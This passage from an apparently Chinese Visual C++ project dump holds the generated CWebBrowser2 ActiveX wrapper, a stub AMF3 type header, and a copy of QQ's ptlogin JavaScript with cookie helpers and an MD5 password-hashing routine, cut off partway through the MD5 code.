	DECLARE_MESSAGE_MAP()

};



/////////////////////////////////////////////////////////////////////////////



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_TOPVIEW_H__BC450030_0184_4C02_8EF4_4674BD5DEC87__INCLUDED_)









源码/webbrowser2.cpp



    
    
    ??/webbrowser2.cpp
    
    


??/webbrowser2.cpp// Machine generated IDispatch wrapper class(es) created by Microsoft Visual C++

// NOTE: Do not modify the contents of this file.  If this class is regenerated by
//  Microsoft Visual C++, your modifications will be overwritten.


#include "stdafx.h"
#include "webbrowser2.h"

/////////////////////////////////////////////////////////////////////////////
// CWebBrowser2

IMPLEMENT_DYNCREATE(CWebBrowser2, CWnd)

/////////////////////////////////////////////////////////////////////////////
// CWebBrowser2 properties

/////////////////////////////////////////////////////////////////////////////
// CWebBrowser2 operations

void CWebBrowser2::GoBack()
{
    InvokeHelper(0x64, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

void CWebBrowser2::GoForward()
{
    InvokeHelper(0x65, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

void CWebBrowser2::GoHome()
{
    InvokeHelper(0x66, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

void CWebBrowser2::GoSearch()
{
    InvokeHelper(0x67, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

void CWebBrowser2::Navigate(LPCTSTR URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers)
{
    static BYTE parms[] =
        VTS_BSTR VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT;
    InvokeHelper(0x68, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         URL, Flags, TargetFrameName, PostData, Headers);
}

void CWebBrowser2::Refresh()
{
    InvokeHelper(DISPID_REFRESH, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

void CWebBrowser2::Refresh2(VARIANT* Level)
{
    static BYTE parms[] =
        VTS_PVARIANT;
    InvokeHelper(0x69, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         Level);
}

void CWebBrowser2::Stop()
{
    InvokeHelper(0x6a, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

LPDISPATCH CWebBrowser2::GetApplication()
{
    LPDISPATCH result;
    InvokeHelper(0xc8, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);
    return result;
}

LPDISPATCH CWebBrowser2::GetParent()
{
    LPDISPATCH result;
    InvokeHelper(0xc9, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);
    return result;
}

LPDISPATCH CWebBrowser2::GetContainer()
{
    LPDISPATCH result;
    InvokeHelper(0xca, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);
    return result;
}

LPDISPATCH CWebBrowser2::GetDocument()
{
    LPDISPATCH result;
    InvokeHelper(0xcb, DISPATCH_PROPERTYGET, VT_DISPATCH, (void*)&result, NULL);
    return result;
}

BOOL CWebBrowser2::GetTopLevelContainer()
{
    BOOL result;
    InvokeHelper(0xcc, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

CString CWebBrowser2::GetType()
{
    CString result;
    InvokeHelper(0xcd, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

long CWebBrowser2::GetLeft()
{
    long result;
    InvokeHelper(0xce, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetLeft(long nNewValue)
{
    static BYTE parms[] =
        VTS_I4;
    InvokeHelper(0xce, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         nNewValue);
}

long CWebBrowser2::GetTop()
{
    long result;
    InvokeHelper(0xcf, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetTop(long nNewValue)
{
    static BYTE parms[] =
        VTS_I4;
    InvokeHelper(0xcf, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         nNewValue);
}

long CWebBrowser2::GetWidth()
{
    long result;
    InvokeHelper(0xd0, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetWidth(long nNewValue)
{
    static BYTE parms[] =
        VTS_I4;
    InvokeHelper(0xd0, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         nNewValue);
}

long CWebBrowser2::GetHeight()
{
    long result;
    InvokeHelper(0xd1, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetHeight(long nNewValue)
{
    static BYTE parms[] =
        VTS_I4;
    InvokeHelper(0xd1, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         nNewValue);
}

CString CWebBrowser2::GetLocationName()
{
    CString result;
    InvokeHelper(0xd2, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

CString CWebBrowser2::GetLocationURL()
{
    CString result;
    InvokeHelper(0xd3, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

BOOL CWebBrowser2::GetBusy()
{
    BOOL result;
    InvokeHelper(0xd4, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::Quit()
{
    InvokeHelper(0x12c, DISPATCH_METHOD, VT_EMPTY, NULL, NULL);
}

void CWebBrowser2::ClientToWindow(long* pcx, long* pcy)
{
    static BYTE parms[] =
        VTS_PI4 VTS_PI4;
    InvokeHelper(0x12d, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         pcx, pcy);
}

void CWebBrowser2::PutProperty(LPCTSTR Property_, const VARIANT& vtValue)
{
    static BYTE parms[] =
        VTS_BSTR VTS_VARIANT;
    InvokeHelper(0x12e, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         Property_, &vtValue);
}

VARIANT CWebBrowser2::GetProperty_(LPCTSTR Property_)
{
    VARIANT result;
    static BYTE parms[] =
        VTS_BSTR;
    InvokeHelper(0x12f, DISPATCH_METHOD, VT_VARIANT, (void*)&result, parms,
        Property_);
    return result;
}

CString CWebBrowser2::GetName()
{
    CString result;
    InvokeHelper(0x0, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

long CWebBrowser2::GetHwnd()
{
    long result;
    InvokeHelper(DISPID_HWND, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

CString CWebBrowser2::GetFullName()
{
    CString result;
    InvokeHelper(0x190, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

CString CWebBrowser2::GetPath()
{
    CString result;
    InvokeHelper(0x191, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

BOOL CWebBrowser2::GetVisible()
{
    BOOL result;
    InvokeHelper(0x192, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetVisible(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x192, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetStatusBar()
{
    BOOL result;
    InvokeHelper(0x193, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetStatusBar(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x193, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

CString CWebBrowser2::GetStatusText()
{
    CString result;
    InvokeHelper(0x194, DISPATCH_PROPERTYGET, VT_BSTR, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetStatusText(LPCTSTR lpszNewValue)
{
    static BYTE parms[] =
        VTS_BSTR;
    InvokeHelper(0x194, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         lpszNewValue);
}

long CWebBrowser2::GetToolBar()
{
    long result;
    InvokeHelper(0x195, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetToolBar(long nNewValue)
{
    static BYTE parms[] =
        VTS_I4;
    InvokeHelper(0x195, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         nNewValue);
}

BOOL CWebBrowser2::GetMenuBar()
{
    BOOL result;
    InvokeHelper(0x196, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetMenuBar(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x196, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetFullScreen()
{
    BOOL result;
    InvokeHelper(0x197, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetFullScreen(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x197, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

void CWebBrowser2::Navigate2(VARIANT* URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers)
{
    static BYTE parms[] =
        VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT;
    InvokeHelper(0x1f4, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         URL, Flags, TargetFrameName, PostData, Headers);
}

long CWebBrowser2::QueryStatusWB(long cmdID)
{
    long result;
    static BYTE parms[] =
        VTS_I4;
    InvokeHelper(0x1f5, DISPATCH_METHOD, VT_I4, (void*)&result, parms,
        cmdID);
    return result;
}

void CWebBrowser2::ExecWB(long cmdID, long cmdexecopt, VARIANT* pvaIn, VARIANT* pvaOut)
{
    static BYTE parms[] =
        VTS_I4 VTS_I4 VTS_PVARIANT VTS_PVARIANT;
    InvokeHelper(0x1f6, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         cmdID, cmdexecopt, pvaIn, pvaOut);
}

void CWebBrowser2::ShowBrowserBar(VARIANT* pvaClsid, VARIANT* pvarShow, VARIANT* pvarSize)
{
    static BYTE parms[] =
        VTS_PVARIANT VTS_PVARIANT VTS_PVARIANT;
    InvokeHelper(0x1f7, DISPATCH_METHOD, VT_EMPTY, NULL, parms,
         pvaClsid, pvarShow, pvarSize);
}

long CWebBrowser2::GetReadyState()
{
    long result;
    InvokeHelper(DISPID_READYSTATE, DISPATCH_PROPERTYGET, VT_I4, (void*)&result, NULL);
    return result;
}

BOOL CWebBrowser2::GetOffline()
{
    BOOL result;
    InvokeHelper(0x226, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetOffline(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x226, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetSilent()
{
    BOOL result;
    InvokeHelper(0x227, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetSilent(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x227, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetRegisterAsBrowser()
{
    BOOL result;
    InvokeHelper(0x228, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetRegisterAsBrowser(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x228, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetRegisterAsDropTarget()
{
    BOOL result;
    InvokeHelper(0x229, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetRegisterAsDropTarget(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x229, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetTheaterMode()
{
    BOOL result;
    InvokeHelper(0x22a, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetTheaterMode(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x22a, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetAddressBar()
{
    BOOL result;
    InvokeHelper(0x22b, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetAddressBar(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x22b, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}

BOOL CWebBrowser2::GetResizable()
{
    BOOL result;
    InvokeHelper(0x22c, DISPATCH_PROPERTYGET, VT_BOOL, (void*)&result, NULL);
    return result;
}

void CWebBrowser2::SetResizable(BOOL bNewValue)
{
    static BYTE parms[] =
        VTS_BOOL;
    InvokeHelper(0x22c, DISPATCH_PROPERTYPUT, VT_EMPTY, NULL, parms,
         bNewValue);
}







源码/webbrowser2.h

#if !defined(AFX_WEBBROWSER2_H__CBA893F8_EA32_4A87_93DC_BDBC9176EC13__INCLUDED_)

#define AFX_WEBBROWSER2_H__CBA893F8_EA32_4A87_93DC_BDBC9176EC13__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000

// Machine generated IDispatch wrapper class(es) created by Microsoft Visual C++



// NOTE: Do not modify the contents of this file.  If this class is regenerated by

//  Microsoft Visual C++, your modifications will be overwritten.



/////////////////////////////////////////////////////////////////////////////

// CWebBrowser2 wrapper class



class CWebBrowser2 : public CWnd

{

protected:

	DECLARE_DYNCREATE(CWebBrowser2)

public:

	CLSID const& GetClsid()

	{

		static CLSID const clsid

			= { 0x8856f961, 0x340a, 0x11d0, { 0xa9, 0x6b, 0x0, 0xc0, 0x4f, 0xd7, 0x5, 0xa2 } };

		return clsid;

	}

	virtual BOOL Create(LPCTSTR lpszClassName,

		LPCTSTR lpszWindowName, DWORD dwStyle,

		const RECT& rect,

		CWnd* pParentWnd, UINT nID,

		CCreateContext* pContext = NULL)

	{ return CreateControl(GetClsid(), lpszWindowName, dwStyle, rect, pParentWnd, nID); }



    BOOL Create(LPCTSTR lpszWindowName, DWORD dwStyle,

		const RECT& rect, CWnd* pParentWnd, UINT nID,

		CFile* pPersist = NULL, BOOL bStorage = FALSE,

		BSTR bstrLicKey = NULL)

	{ return CreateControl(GetClsid(), lpszWindowName, dwStyle, rect, pParentWnd, nID,

		pPersist, bStorage, bstrLicKey); }



// Attributes

public:



// Operations

public:

	void GoBack();

	void GoForward();

	void GoHome();

	void GoSearch();

	void Navigate(LPCTSTR URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers);

	void Refresh();

	void Refresh2(VARIANT* Level);

	void Stop();

	LPDISPATCH GetApplication();

	LPDISPATCH GetParent();

	LPDISPATCH GetContainer();

	LPDISPATCH GetDocument();

	BOOL GetTopLevelContainer();

	CString GetType();

	long GetLeft();

	void SetLeft(long nNewValue);

	long GetTop();

	void SetTop(long nNewValue);

	long GetWidth();

	void SetWidth(long nNewValue);

	long GetHeight();

	void SetHeight(long nNewValue);

	CString GetLocationName();

	CString GetLocationURL();

	BOOL GetBusy();

	void Quit();

	void ClientToWindow(long* pcx, long* pcy);

	void PutProperty(LPCTSTR Property_, const VARIANT& vtValue);

	VARIANT GetProperty_(LPCTSTR Property_);

	CString GetName();

	long GetHwnd();

	CString GetFullName();

	CString GetPath();

	BOOL GetVisible();

	void SetVisible(BOOL bNewValue);

	BOOL GetStatusBar();

	void SetStatusBar(BOOL bNewValue);

	CString GetStatusText();

	void SetStatusText(LPCTSTR lpszNewValue);

	long GetToolBar();

	void SetToolBar(long nNewValue);

	BOOL GetMenuBar();

	void SetMenuBar(BOOL bNewValue);

	BOOL GetFullScreen();

	void SetFullScreen(BOOL bNewValue);

	void Navigate2(VARIANT* URL, VARIANT* Flags, VARIANT* TargetFrameName, VARIANT* PostData, VARIANT* Headers);

	long QueryStatusWB(long cmdID);

	void ExecWB(long cmdID, long cmdexecopt, VARIANT* pvaIn, VARIANT* pvaOut);

	void ShowBrowserBar(VARIANT* pvaClsid, VARIANT* pvarShow, VARIANT* pvarSize);

	long GetReadyState();

	BOOL GetOffline();

	void SetOffline(BOOL bNewValue);

	BOOL GetSilent();

	void SetSilent(BOOL bNewValue);

	BOOL GetRegisterAsBrowser();

	void SetRegisterAsBrowser(BOOL bNewValue);

	BOOL GetRegisterAsDropTarget();

	void SetRegisterAsDropTarget(BOOL bNewValue);

	BOOL GetTheaterMode();

	void SetTheaterMode(BOOL bNewValue);

	BOOL GetAddressBar();

	void SetAddressBar(BOOL bNewValue);

	BOOL GetResizable();

	void SetResizable(BOOL bNewValue);

};



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_WEBBROWSER2_H__CBA893F8_EA32_4A87_93DC_BDBC9176EC13__INCLUDED_)









源码/xAmf3.h

// xAmf3.h: interface for the xAmf3 class.

//

//////////////////////////////////////////////////////////////////////

#include<vector>

using namespace std;



#if !defined(AFX_XAMF3_H__8483BB9E_3142_4250_A08A_20092E19C8E8__INCLUDED_)

#define AFX_XAMF3_H__8483BB9E_3142_4250_A08A_20092E19C8E8__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000











//object对象是否动态创建

#define DYNAMIC_OBJ_MAX_PROPERTY	512



//参考标志位

#define REFERENCE_BIT	0x01



//空

#define EMPTY_STRING	0x01



//鏁版嵁绫诲瀷瀹氫箟

enum DataType

{

		DT_UNDEFINED = 0x00,	//unsupport

		DT_NULL = 0x01,

		DT_FALSE = 0x02,

		DT_TRUE = 0x03,

		DT_INTEGER = 0x04,

		DT_DOUBLE = 0x05,

		DT_STRING = 0x06,

		DT_XMLDOC = 0x07,		//unsupport

		DT_DATE = 0x08,

		DT_ARRAY = 0x09,

		DT_OBJECT = 0x0A,

		DT_XML = 0x0B,			//unsupport

		DT_BYTEARRAY = 0x0C		

};







class xAmf3  

{

public:

	xAmf3();

	virtual ~xAmf3();



};



#endif // !defined(AFX_XAMF3_H__8483BB9E_3142_4250_A08A_20092E19C8E8__INCLUDED_)









源码/Xlogin.js

STR_UINTIP = 1;

STR_QLOGIN_VERSION_ERR = 2;

STR_NO_UIN = 3;

STR_NO_PWD = 4;

STR_NO_VCODE = 5;

STR_INV_UIN = 6;

STR_INV_VCODE = 7;

STR_UIN = 8;

STR_PWD = 9;

STR_VCODE = 10;

STR_VCODE_TIP = 11;

STR_CHANGE_VCODE = 12;

STR_REMEMBER_PWD = 13;

STR_1_DAY = 14;

STR_1_WEEK = 15;

STR_1_MONTH = 16;

STR_HALF_YEAR = 17;

STR_1_YEAR = 18;

STR_FORGET_PWD = 19;

STR_LOGIN = 20;

STR_RESET = 21;

STR_SWITCH_QLOGIN = 22;

STR_LOGIN_TITLE = 23;

STR_QLOGIN_INTRO = 24;

STR_QLOGINING = 25;

STR_QLOGIN_HELP = 26;

STR_SWITCH_NORMAL = 27;

STR_QLOGIN = 28;

STR_QLOGIN_BUSY = 29;

STR_QLOGIN_OFFLINE = 30;

STR_QLOGIN_OTHER_ERR = 31;

STR_BACK = 32;

STR_RETRY = 33;

STR_NEW_REG = 34;

STR_QLOGIN_SELECT = 35;

STR_QLOGIN_VER = 36;

STR_QLOGIN_SELECT_TIP = 37;

STR_QLOGIN_NO_UIN = 38;

STR_QLOGIN_SELECT_OFFLINE = 39;

my_version = unescape("version1.0.0");

function ptui_trim(A) {

    return A.replace(/(^\s*)|(\s*$)/g, "")

}

function ptui_str(A) {

    A -= 1;

    if (A >= 0 && A < g_strArray.length) {

        return g_strArray[A]

    }

    return ""

}

function ptui_mapStr(B) {

    for (i = 0; i < B.length; i++) {

        var A = document.getElementById(B[i][1]);

        if (A != null) {

            if ("A" == A.nodeName || "U" == A.nodeName || "OPTION" == A.nodeName || "LABEL" == A.nodeName || "P" == A.nodeName) {

                if (A.innerHTML == "") {

                    A.innerHTML = ptui_str(B[i][0])

                }

            } else {

                if ("INPUT" == A.nodeName) {

                    if (A.value == "") {

                        A.value = ptui_str(B[i][0])

                    }

                } else {

                    if ("IMG" == A.nodeName) {

                        A.alt = ptui_str(B[i][0])

                    }

                }

            }

        }

    }

}

function ptui_onUserFocus(C, A) {

    var B = document.getElementById(C);

    if (ptui_str(STR_UINTIP) == B.value) {

        B.value = ""

    }

    B.style.color = A

}

function ptui_onUserBlue(C, A) {

    var B = document.getElementById(C);

    if ("" == B.value) {

        B.value = ptui_str(STR_UINTIP);

        B.style.color = A

    }

}

var g_speedArray = new Array();

function ptui_setSpeed(B) {

    if (B <= 0) {

        return

    }

    var A = g_speedArray.length;

    g_speedArray[A] = new Array(B, new Date())

}

function ptui_reportSpeed(B) {

    if (Math.random() > 0.1) {

        return

    }

    url = "http://isdspeed.qq.com/cgi-bin/r.cgi?flag1=6000&flag2=1&flag3=1";

    for (var A = 0; A < g_speedArray.length; A++) {

        url = url + "&" + g_speedArray[A][0] + "=" + (g_speedArray[A][1] - B)

    }

    imgSendTimePoint = new Image();

    imgSendTimePoint.src = url

}

function ptui_showDiv(A, B) {

    var C = document.getElementById(A);

    if (null == C) {

        return

    }

    if (B) {

        C.style.display = "block"

    } else {

        C.style.display = "none"

    }

}

function ptui_notifySize(B) {

    try {

        obj = document.getElementById(B);

        if (obj) {

            if (parent.ptlogin2_onResize) {

                width = 1;

                height = 1;

                if (obj.offsetWidth > 0) {

                    width = obj.offsetWidth

                }

                if (obj.offsetHeight > 0) {

                    height = obj.offsetHeight

                }

                parent.ptlogin2_onResize(width, height)

            }

        }

    } catch(A) {}

}

function ptui_notifyClose() {

    try {

        if (parent.ptlogin2_onClose) {

            parent.ptlogin2_onClose()

        } else {

            if (top == this) {

                window.close()

            }

        }

    } catch(A) {

        window.close()

    }

}

function ptui_setUinColor(D, B, A) {

    var C = document.getElementById(D);

    if (ptui_str(STR_UINTIP) == C.value) {

        C.style.color = A

    } else {

        C.style.color = B

    }

}

function ptui_onEnableLLogin(B) {

    var A = B.low_login_enable;

    var C = B.low_login_hour;

    if (A != null && C != null) {

        C.disabled = !A.checked

    }

}

function ptui_changeImgEx(D, C, G, F) {

    var A = document.getElementById("imgVerify");

    try {

        if (A != null) {

            A.src = F + "?aid=" + C + "&" + Math.random();

            var B = document.getElementById("verifycode");

            if (B != null && B.disabled == false && G) {

                B.focus();

                B.select()

            }

        }

    } catch(E) {}

}

function ptui_changeImg(B, A, C) {

    ptui_changeImgEx(B, A, C, "http://ptlogin2." + B + "/getimage")

}

function ptui_changeImgHttps(B, A, C) {

    ptui_changeImgEx(B, A, C, "./getimage")

}

function ptui_checkQQUin(qquin) {

    if (qquin.length == 0) {

        return false

    }

    qquin = ptui_trim(qquin);

    if (! (new RegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/).test(qquin))) {

        if (qquin.length < 5 || qquin.length > 12 || parseInt(qquin) < 1000) {

            return false

        }

        var exp = eval("/^[0-9]*$/");

        return exp.test(qquin)

    }

    return true

}

function ptui_checkPwdOnInput() {

    if (document.getElementById("p").value.length >= 16) {

        return false

    }

    return true

}

function ptui_onLogin(A) {

    try {

        if (parent.ptlogin2_onLogin) {

            if (!parent.ptlogin2_onLogin()) {

                return false

            }

        }

        if (parent.ptlogin2_onLoginEx) {

            var D = A.u.value;

            var B = A.verifycode.value;

            if (ptui_str(STR_UINTIP) == D) {

                D = ""

            }

            if (!parent.ptlogin2_onLoginEx(D, B)) {

                return false

            }

        }

    } catch(C) {}

    return ptui_checkValidate(A)

}

function ptui_onLoginEx(B, C) {

    if (ptui_onLogin(B)) {

        var A = new Date();

        A.setHours(A.getHours() + 24 * 30);

        setCookie("ptui_loginuin", B.u.value, A, "/", "ui.ptlogin2." + C);

        return true

    }

    return false

}

function ptui_setDefUin(B, A) {

    if (A == "" || A == null) {

        A = getCookie("ptui_loginuin")

    }

    A = parseInt(A);

    if (isNaN(A)) {

        return

    }

    if (A <= 0) {

        A = ""

    }

    if (A != "" && A != null) {

        B.u.value = A

    }

}

function ptui_onReset(A) {

    try {

        if (parent.ptlogin2_onReset) {

            if (!parent.ptlogin2_onReset()) {

                return false

            }

        }

    } catch(B) {}

    return true

}

function ptui_initFocus(B) {

    try {

        var A = B.u;

        var D = B.p;

        var E = B.verifycode;

        if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {

            A.focus();

            return

        }

        if (D.value == "") {

            D.focus();

            return

        }

        if (E.value == "") {

            E.focus()

        }

    } catch(C) {}

}

function ptui_checkValidate(B) {

    var A = B.u;

    var C = B.p;

    var D = B.verifycode;

    if (A.value == "" || ptui_str(STR_UINTIP) == A.value) {

        alert(ptui_str(STR_NO_UIN));

        A.focus();

        return false

    }

    if (C.value == "") {

        alert(ptui_str(STR_NO_PWD));

        C.focus();

        return false

    }

    if (D.value == "") {

        alert(ptui_str(STR_NO_VCODE));

        D.focus();

        return false

    }

    A.value = ptui_trim(A.value);

    if (!ptui_checkQQUin(A.value)) {

        alert(ptui_str(STR_INV_UIN));

        A.focus();

        A.select();

        return false

    }

    if (D.value.length != 4) {

        alert(ptui_str(STR_INV_VCODE));

        D.focus();

        D.select();

        return false

    }

    C.setAttribute("maxlength", "32");

    preprocess(B);

    return true

}

function getCookieVal(B) {

    var A = document.cookie.indexOf(";", B);

    if (A == -1) {

        A = document.cookie.length

    }

    return unescape(document.cookie.substring(B, A))

}

function getCookie(D) {

    var B = D + "=";

    var F = B.length;

    var A = document.cookie.length;

    var E = 0;

    while (E < A) {

        var C = E + F;

        if (document.cookie.substring(E, C) == B) {

            return getCookieVal(C)

        }

        E = document.cookie.indexOf(" ", E) + 1;

        if (E == 0) {

            break

        }

    }

    return null

}

function setCookie(C, E) {

    var A = setCookie.arguments;

    var H = setCookie.arguments.length;

    var B = (2 < H) ? A[2] : null;

    var G = (3 < H) ? A[3] : null;

    var D = (4 < H) ? A[4] : null;

    var F = (5 < H) ? A[5] : null;

    document.cookie = C + "=" + escape(E) + ((B == null) ? " ": (";expires =" + B.toGMTString())) + ((G == null) ? "  ": (";path = " + G)) + ((D == null) ? " ": (";domain =" + D)) + ((F == true) ? ";secure": " ")

}

var hexcase = 1;

var b64pad = "";

var chrsz = 8;

var mode = 32;

function preprocess(A,B) {

   // var B = "";

   // B += A.verifycode.value;

   // B = B.toUpperCase();

   // A.p.value = md5(md5_3(A.p.value) + B);

   // return true







//var str="necron8952795380";

str=md5(md5_3(B)+A);

//document.write(str);

//var ForReading = 1, ForWriting = 2;

    //var fso = new ActiveXObject("Scripting.FileSystemObject");



   // Open the file for output.

    //var filename = "c:\\testfile.txt";

   // var f = fso.OpenTextFile(filename, ForWriting, true);



    // Write to the file.

   //f.WriteLine("Hello world!");

   //f.WriteLine("JScript is fun");

   //f.Close();

return str;

}

function md5_3(B) {

    var A = new Array;

    A = core_md5(str2binl(B), B.length * chrsz);

    A = core_md5(A, 16 * chrsz);

    A = core_md5(A, 16 * chrsz);

    return binl2hex(A)

}

function md5(A) {

    return hex_md5(A)

}

function hex_md5(A) {

    return binl2hex(core_md5(str2binl(A), A.length * chrsz))

}

function b64_md5(A) {

    return binl2b64(core_md5(str2binl(A), A.length * chrsz))

}

function str_md5(A) {

    return binl2str(core_md5(str2binl(A), A.length * chrsz))

}

function hex_hmac_md5(A, B) {

    return binl2hex(core_hmac_md5(A, B))

}

function b64_hmac_md5(A, B) {

    return binl2b64(core_hmac_md5(A, B))

}

function str_hmac_md5(A, B) {

    return binl2str(core_hmac_md5(A, B))

}

function md5_vm_test() {

    return hex_md5("abc") == "900150983cd24fb0d6963f7d28e17f72"

}

function core_md5(K, F) {

    K[F >> 5] |= 128 << ((F) % 32);

    K[(((F + 64) >>> 9) << 4) + 14] = F;

    var J = 1732584193;

    var I = -271733879;

    var H = -1732584194;

    var G = 271733878;

    for (var C = 0; C < K.length; C += 16) {

        var E = J;

        var D = I;

        var B = H;

        var A = G;

        J = md5_ff(J, I, H, G, K[C + 0], 7, -680876936);

        G = md5_ff(G, J, I, H, K[C + 1], 12, -389564586);

        H = md5_ff(H, G, J, I, K[C + 2], 17, 606105819);

        I = md5_ff(I, H, G, J, K[C + 3], 22, -1044525330);

        J = md5_ff(J, I, H, G, K[C + 4], 7, -176418897);

        G = md5_ff(G, J, I, H, K[C + 5], 12, 1200080426);

        H = md5_ff(H, G, J, I, K[C + 6], 17, -1473231341);

        I = md5_ff(I, H, G, J, K[C + 7], 22, -45705983);

        J = md5_ff(J, I, H, G, K[C + 8], 7, 1770035416);

        G = md5_ff(G, J, I, H, K[C + 9], 12, -1958414417);

        H = md5_ff(H, G, J, I, K[C + 10], 17, -42063);

        I = md5_ff(I, H, G, J, K[C + 11], 22, -1990404162);

        J = md5_ff(J, I, H, G, K[C + 12], 7, 1804603682);

        G = md5_ff(G, J, I, H, K[C + 13], 12, -40341101);

        H = md5_ff(H, G, J, I, K[C + 14], 17, -1502002290);

        I = md5_ff(I, H, G, J, K[C + 15], 22, 1236535329);

        J = md5_gg(J, I, H, G, K[C + 1], 5, -165796510);

